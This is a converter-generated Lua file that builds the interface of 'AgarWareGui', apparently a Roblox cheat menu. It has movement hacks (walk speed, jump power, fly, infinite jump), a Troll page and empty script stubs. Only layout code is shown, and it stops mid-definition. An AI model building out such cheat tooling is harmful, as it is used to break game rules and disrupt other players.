--[=[
d888b db db d888888b .d888b. db db db .d8b.
88' Y8b 88 88 `88' VP `8D 88 88 88 d8' `8b
88 88 88 88 odD' 88 88 88 88ooo88
88 ooo 88 88 88 .88' 88 88 88 88~~~88
88. ~8~ 88b d88 .88. j88. 88booo. 88b d88 88 88 @uniquadev
Y888P ~Y8888P' Y888888P 888888D Y88888P ~Y8888P' YP YP CONVERTER
]=]
-- Instances: 876 | Scripts: 169 | Modules: 0 | Tags: 0
local G2L = {};
-- StarterGui.AgarWareGui
G2L["1"] = Instance.new("ScreenGui", game:GetService("Players").LocalPlayer:WaitForChild("PlayerGui"));
G2L["1"]["DisplayOrder"] = 999999999;
G2L["1"]["Name"] = [[AgarWareGui]];
G2L["1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Sibling;
G2L["1"]["ResetOnSpawn"] = false;
-- StarterGui.AgarWareGui.MoveToCorGui
G2L["2"] = Instance.new("LocalScript", G2L["1"]);
G2L["2"]["Name"] = [[MoveToCorGui]];
-- StarterGui.AgarWareGui.ChatQueue
G2L["3"] = Instance.new("LocalScript", G2L["1"]);
G2L["3"]["Name"] = [[ChatQueue]];
-- StarterGui.AgarWareGui.Execution
G2L["4"] = Instance.new("LocalScript", G2L["1"]);
G2L["4"]["Name"] = [[Execution]];
-- StarterGui.AgarWareGui.UnloadBLACKLIST
G2L["5"] = Instance.new("LocalScript", G2L["1"]);
G2L["5"]["Name"] = [[UnloadBLACKLIST]];
-- StarterGui.AgarWareGui.GriefDetectorConsole
G2L["6"] = Instance.new("LocalScript", G2L["1"]);
G2L["6"]["Name"] = [[GriefDetectorConsole]];
-- StarterGui.AgarWareGui.DropdownMaster
G2L["7"] = Instance.new("LocalScript", G2L["1"]);
G2L["7"]["Name"] = [[DropdownMaster]];
-- StarterGui.AgarWareGui.contorl them
G2L["8"] = Instance.new("LocalScript", G2L["1"]);
G2L["8"]["Name"] = [[contorl them]];
-- StarterGui.AgarWareGui.MainFrame
G2L["9"] = Instance.new("Frame", G2L["1"]);
G2L["9"]["Active"] = true;
G2L["9"]["ZIndex"] = 10;
G2L["9"]["BackgroundColor3"] = Color3.fromRGB(23, 23, 23);
G2L["9"]["Selectable"] = true;
G2L["9"]["Size"] = UDim2.new(0, 450, 0, 300);
G2L["9"]["Position"] = UDim2.new(0.31666, -232, 0.20818, 128);
G2L["9"]["BorderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["9"]["Name"] = [[MainFrame]];
-- StarterGui.AgarWareGui.MainFrame.UIPadding
G2L["a"] = Instance.new("UIPadding", G2L["9"]);
G2L["a"]["PaddingLeft"] = UDim.new(0, 8);
-- StarterGui.AgarWareGui.MainFrame.SideBar
G2L["b"] = Instance.new("ScrollingFrame", G2L["9"]);
G2L["b"]["ScrollingDirection"] = Enum.ScrollingDirection.Y;
G2L["b"]["CanvasSize"] = UDim2.new(0, 0, 1, 0);
G2L["b"]["ScrollingEnabled"] = false;
G2L["b"]["Name"] = [[SideBar]];
G2L["b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["b"]["AutomaticCanvasSize"] = Enum.AutomaticSize.Y;
G2L["b"]["Size"] = UDim2.new(0, 60, 0, 266);
G2L["b"]["ScrollBarImageColor3"] = Color3.fromRGB(0, 0, 0);
G2L["b"]["Position"] = UDim2.new(0, 0, 0.08667, 0);
G2L["b"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["b"]["ScrollBarThickness"] = 0;
-- StarterGui.AgarWareGui.MainFrame.SideBar.PageHandler
G2L["c"] = Instance.new("LocalScript", G2L["b"]);
G2L["c"]["Name"] = [[PageHandler]];
-- StarterGui.AgarWareGui.MainFrame.SideBar.UIListLayout
G2L["d"] = Instance.new("UIListLayout", G2L["b"]);
G2L["d"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.AgarWareGui.MainFrame.SideBar.UIPadding
G2L["e"] = Instance.new("UIPadding", G2L["b"]);
-- StarterGui.AgarWareGui.MainFrame.SideBar.MainPG
G2L["f"] = Instance.new("TextButton", G2L["b"]);
G2L["f"]["TextWrapped"] = true;
G2L["f"]["TextSize"] = 12;
G2L["f"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["f"]["Size"] = UDim2.new(0, 60, 0, 25);
G2L["f"]["LayoutOrder"] = 1;
G2L["f"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["f"]["Text"] = [[Main]];
G2L["f"]["Name"] = [[MainPG]];
-- StarterGui.AgarWareGui.MainFrame.SideBar.SettingsPG
G2L["10"] = Instance.new("TextButton", G2L["b"]);
G2L["10"]["TextWrapped"] = true;
G2L["10"]["TextSize"] = 12;
G2L["10"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["10"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["10"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["10"]["Size"] = UDim2.new(0, 60, 0, 25);
G2L["10"]["LayoutOrder"] = 2;
G2L["10"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["10"]["Text"] = [[Settings]];
G2L["10"]["Name"] = [[SettingsPG]];
-- StarterGui.AgarWareGui.MainFrame.SideBar.VisualPG
G2L["11"] = Instance.new("TextButton", G2L["b"]);
G2L["11"]["TextSize"] = 12;
G2L["11"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["11"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["11"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["11"]["Size"] = UDim2.new(0, 60, 0, 25);
G2L["11"]["LayoutOrder"] = 4;
G2L["11"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["11"]["Text"] = [[Visual]];
G2L["11"]["Name"] = [[VisualPG]];
-- StarterGui.AgarWareGui.MainFrame.SideBar.TCOPG
G2L["12"] = Instance.new("TextButton", G2L["b"]);
G2L["12"]["TextWrapped"] = true;
G2L["12"]["TextSize"] = 12;
G2L["12"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["12"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["12"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["12"]["Size"] = UDim2.new(0, 60, 0, 25);
G2L["12"]["LayoutOrder"] = 3;
G2L["12"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["12"]["Text"] = [[TCO]];
G2L["12"]["Name"] = [[TCOPG]];
-- StarterGui.AgarWareGui.MainFrame.SideBar.TCOPG.TCOIngame
G2L["13"] = Instance.new("LocalScript", G2L["12"]);
G2L["13"]["Name"] = [[TCOIngame]];
-- StarterGui.AgarWareGui.MainFrame.SideBar.MiscPG
G2L["14"] = Instance.new("TextButton", G2L["b"]);
G2L["14"]["TextSize"] = 12;
G2L["14"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["14"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["14"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["14"]["Size"] = UDim2.new(0, 60, 0, 25);
G2L["14"]["LayoutOrder"] = 6;
G2L["14"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["14"]["Text"] = [[Misc]];
G2L["14"]["Name"] = [[MiscPG]];
-- StarterGui.AgarWareGui.MainFrame.SideBar.MenuPG
G2L["15"] = Instance.new("TextButton", G2L["b"]);
G2L["15"]["TextWrapped"] = true;
G2L["15"]["TextSize"] = 12;
G2L["15"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["15"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["15"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["15"]["Size"] = UDim2.new(0, 60, 0, 25);
G2L["15"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["15"]["Text"] = [[MENU]];
G2L["15"]["Name"] = [[MenuPG]];
-- StarterGui.AgarWareGui.MainFrame.SideBar.TrollPG
G2L["16"] = Instance.new("TextButton", G2L["b"]);
G2L["16"]["TextSize"] = 12;
G2L["16"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["16"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["16"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["16"]["Size"] = UDim2.new(0, 60, 0, 25);
G2L["16"]["LayoutOrder"] = 5;
G2L["16"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["16"]["Text"] = [[Troll]];
G2L["16"]["Name"] = [[TrollPG]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea
G2L["17"] = Instance.new("Frame", G2L["9"]);
G2L["17"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["17"]["Size"] = UDim2.new(0, 365, 0, 266);
G2L["17"]["Position"] = UDim2.new(0.15385, 0, 0.08667, 0);
G2L["17"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["17"]["Name"] = [[ContentArea]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage
G2L["18"] = Instance.new("ScrollingFrame", G2L["17"]);
G2L["18"]["Visible"] = false;
G2L["18"]["Active"] = true;
G2L["18"]["BorderSizePixel"] = 0;
G2L["18"]["CanvasSize"] = UDim2.new(0, 0, 1.5, 0);
G2L["18"]["Name"] = [[MainPage]];
G2L["18"]["BackgroundColor3"] = Color3.fromRGB(255, 0, 0);
G2L["18"]["Size"] = UDim2.new(0, 349, 0, 250);
G2L["18"]["ScrollBarImageColor3"] = Color3.fromRGB(0, 0, 0);
G2L["18"]["Position"] = UDim2.new(0.02329, 0, 0.03008, 0);
G2L["18"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["18"]["ScrollBarThickness"] = 0;
G2L["18"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide
G2L["19"] = Instance.new("Frame", G2L["18"]);
G2L["19"]["BorderSizePixel"] = 0;
G2L["19"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18);
G2L["19"]["Size"] = UDim2.new(0, 170, 0, 360);
G2L["19"]["Position"] = UDim2.new(0, 0, 0.00439, 0);
G2L["19"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["19"]["Name"] = [[MainLeftSide]];
G2L["19"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.UIListLayout
G2L["1a"] = Instance.new("UIListLayout", G2L["19"]);
G2L["1a"]["Padding"] = UDim.new(0, 7);
G2L["1a"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup
G2L["1b"] = Instance.new("Frame", G2L["19"]);
G2L["1b"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["1b"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["1b"]["Size"] = UDim2.new(0, 170, 0, 120);
G2L["1b"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["1b"]["Name"] = [[MovementGroup]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.MovementScript
G2L["1c"] = Instance.new("LocalScript", G2L["1b"]);
G2L["1c"]["Name"] = [[MovementScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.UIListLayout
G2L["1d"] = Instance.new("UIListLayout", G2L["1b"]);
G2L["1d"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.MovementAccentColor
G2L["1e"] = Instance.new("Frame", G2L["1b"]);
G2L["1e"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["1e"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["1e"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["1e"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["1e"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["1e"]["Name"] = [[MovementAccentColor]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.MovementTitle
G2L["1f"] = Instance.new("TextLabel", G2L["1b"]);
G2L["1f"]["TextWrapped"] = true;
G2L["1f"]["BorderSizePixel"] = 0;
G2L["1f"]["TextSize"] = 14;
G2L["1f"]["TextScaled"] = true;
G2L["1f"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1f"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1f"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["1f"]["BackgroundTransparency"] = 0.95;
G2L["1f"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["1f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1f"]["Text"] = [[Movement]];
G2L["1f"]["LayoutOrder"] = 1;
G2L["1f"]["Name"] = [[MovementTitle]];
G2L["1f"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.MovementTitle.MovementMinimize
G2L["20"] = Instance.new("TextButton", G2L["1f"]);
G2L["20"]["BorderSizePixel"] = 0;
G2L["20"]["TextSize"] = 14;
G2L["20"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["20"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["20"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["20"]["BackgroundTransparency"] = 1;
G2L["20"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["20"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["20"]["Text"] = [[-]];
G2L["20"]["Name"] = [[MovementMinimize]];
G2L["20"]["Position"] = UDim2.new(0.88166, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.WalkspeedRow
G2L["21"] = Instance.new("Frame", G2L["1b"]);
G2L["21"]["BorderSizePixel"] = 0;
G2L["21"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["21"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["21"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["21"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["21"]["Name"] = [[WalkspeedRow]];
G2L["21"]["LayoutOrder"] = 3;
G2L["21"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.WalkspeedRow.WalkspeedTickBox
G2L["22"] = Instance.new("TextButton", G2L["21"]);
G2L["22"]["TextSize"] = 14;
G2L["22"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["22"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["22"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["22"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["22"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["22"]["Text"] = [[]];
G2L["22"]["Name"] = [[WalkspeedTickBox]];
G2L["22"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.WalkspeedRow.WalkspeedText
G2L["23"] = Instance.new("TextLabel", G2L["21"]);
G2L["23"]["BorderSizePixel"] = 0;
G2L["23"]["TextSize"] = 14;
G2L["23"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["23"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["23"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["23"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["23"]["BackgroundTransparency"] = 1;
G2L["23"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["23"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["23"]["Text"] = [[Walk Speed]];
G2L["23"]["Name"] = [[WalkspeedText]];
G2L["23"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.WalkspeedRow.WalkspeedSpeedChanger
G2L["24"] = Instance.new("TextBox", G2L["21"]);
G2L["24"]["Name"] = [[WalkspeedSpeedChanger]];
G2L["24"]["PlaceholderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["24"]["TextWrapped"] = true;
G2L["24"]["TextSize"] = 14;
G2L["24"]["TextColor3"] = Color3.fromRGB(0, 124, 255);
G2L["24"]["TextScaled"] = true;
G2L["24"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["24"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["24"]["PlaceholderText"] = [[(16)]];
G2L["24"]["Size"] = UDim2.new(0, 46, 0, 16);
G2L["24"]["Position"] = UDim2.new(0.69822, 0, 0.16, 0);
G2L["24"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["24"]["Text"] = [[]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.JumppowerRow
G2L["25"] = Instance.new("Frame", G2L["1b"]);
G2L["25"]["BorderSizePixel"] = 0;
G2L["25"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["25"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["25"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["25"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["25"]["Name"] = [[JumppowerRow]];
G2L["25"]["LayoutOrder"] = 3;
G2L["25"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.JumppowerRow.JumppowerTickBox
G2L["26"] = Instance.new("TextButton", G2L["25"]);
G2L["26"]["TextSize"] = 14;
G2L["26"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["26"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["26"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["26"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["26"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["26"]["Text"] = [[]];
G2L["26"]["Name"] = [[JumppowerTickBox]];
G2L["26"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.JumppowerRow.JumppowerText
G2L["27"] = Instance.new("TextLabel", G2L["25"]);
G2L["27"]["BorderSizePixel"] = 0;
G2L["27"]["TextSize"] = 14;
G2L["27"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["27"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["27"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["27"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["27"]["BackgroundTransparency"] = 1;
G2L["27"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["27"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["27"]["Text"] = [[Jump Power]];
G2L["27"]["Name"] = [[JumppowerText]];
G2L["27"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.JumppowerRow.JumppowerJumpChanger
G2L["28"] = Instance.new("TextBox", G2L["25"]);
G2L["28"]["Name"] = [[JumppowerJumpChanger]];
G2L["28"]["PlaceholderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["28"]["TextWrapped"] = true;
G2L["28"]["TextSize"] = 14;
G2L["28"]["TextColor3"] = Color3.fromRGB(0, 124, 255);
G2L["28"]["TextScaled"] = true;
G2L["28"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["28"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["28"]["PlaceholderText"] = [[(50)]];
G2L["28"]["Size"] = UDim2.new(0, 46, 0, 16);
G2L["28"]["Position"] = UDim2.new(0.69822, 0, 0.16, 0);
G2L["28"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["28"]["Text"] = [[]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.FlyRow
G2L["29"] = Instance.new("Frame", G2L["1b"]);
G2L["29"]["BorderSizePixel"] = 0;
G2L["29"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["29"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["29"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["29"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["29"]["Name"] = [[FlyRow]];
G2L["29"]["LayoutOrder"] = 3;
G2L["29"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.FlyRow.FlyTickBox
G2L["2a"] = Instance.new("TextButton", G2L["29"]);
G2L["2a"]["TextSize"] = 14;
G2L["2a"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2a"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["2a"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["2a"]["Text"] = [[]];
G2L["2a"]["Name"] = [[FlyTickBox]];
G2L["2a"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.FlyRow.FlyText
G2L["2b"] = Instance.new("TextLabel", G2L["29"]);
G2L["2b"]["BorderSizePixel"] = 0;
G2L["2b"]["TextSize"] = 14;
G2L["2b"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["2b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2b"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2b"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2b"]["BackgroundTransparency"] = 1;
G2L["2b"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["2b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2b"]["Text"] = [[Fly]];
G2L["2b"]["Name"] = [[FlyText]];
G2L["2b"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.FlyRow.FlySpeedChanger
G2L["2c"] = Instance.new("TextBox", G2L["29"]);
G2L["2c"]["Name"] = [[FlySpeedChanger]];
G2L["2c"]["PlaceholderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["2c"]["TextWrapped"] = true;
G2L["2c"]["TextSize"] = 14;
G2L["2c"]["TextColor3"] = Color3.fromRGB(0, 124, 255);
G2L["2c"]["TextScaled"] = true;
G2L["2c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2c"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2c"]["PlaceholderText"] = [[(50)]];
G2L["2c"]["Size"] = UDim2.new(0, 46, 0, 16);
G2L["2c"]["Position"] = UDim2.new(0.69822, 0, 0.16, 0);
G2L["2c"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["2c"]["Text"] = [[]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.InfJumpRow
G2L["2d"] = Instance.new("Frame", G2L["1b"]);
G2L["2d"]["BorderSizePixel"] = 0;
G2L["2d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2d"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["2d"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["2d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2d"]["Name"] = [[InfJumpRow]];
G2L["2d"]["LayoutOrder"] = 3;
G2L["2d"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.InfJumpRow.InfJumpTickBox
G2L["2e"] = Instance.new("TextButton", G2L["2d"]);
G2L["2e"]["TextSize"] = 14;
G2L["2e"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2e"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["2e"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["2e"]["Text"] = [[]];
G2L["2e"]["Name"] = [[InfJumpTickBox]];
G2L["2e"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.InfJumpRow.InfJumpText
G2L["2f"] = Instance.new("TextLabel", G2L["2d"]);
G2L["2f"]["BorderSizePixel"] = 0;
G2L["2f"]["TextSize"] = 14;
G2L["2f"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["2f"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2f"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2f"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2f"]["BackgroundTransparency"] = 1;
G2L["2f"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["2f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2f"]["Text"] = [[Infinite Jump]];
G2L["2f"]["Name"] = [[InfJumpText]];
G2L["2f"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.ShiftLockRow
G2L["30"] = Instance.new("Frame", G2L["1b"]);
G2L["30"]["BorderSizePixel"] = 0;
G2L["30"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["30"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["30"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["30"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["30"]["Name"] = [[ShiftLockRow]];
G2L["30"]["LayoutOrder"] = 3;
G2L["30"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.ShiftLockRow.ShiftLockScript
G2L["31"] = Instance.new("LocalScript", G2L["30"]);
G2L["31"]["Name"] = [[ShiftLockScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.ShiftLockRow.ShiftLockTickBox
G2L["32"] = Instance.new("TextButton", G2L["30"]);
G2L["32"]["TextSize"] = 14;
G2L["32"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["32"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["32"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["32"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["32"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["32"]["Text"] = [[]];
G2L["32"]["Name"] = [[ShiftLockTickBox]];
G2L["32"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.ShiftLockRow.ShiftLockText
G2L["33"] = Instance.new("TextLabel", G2L["30"]);
G2L["33"]["BorderSizePixel"] = 0;
G2L["33"]["TextSize"] = 14;
G2L["33"]["TextXAlignment"] = Enum.TextXAlignment.Left;
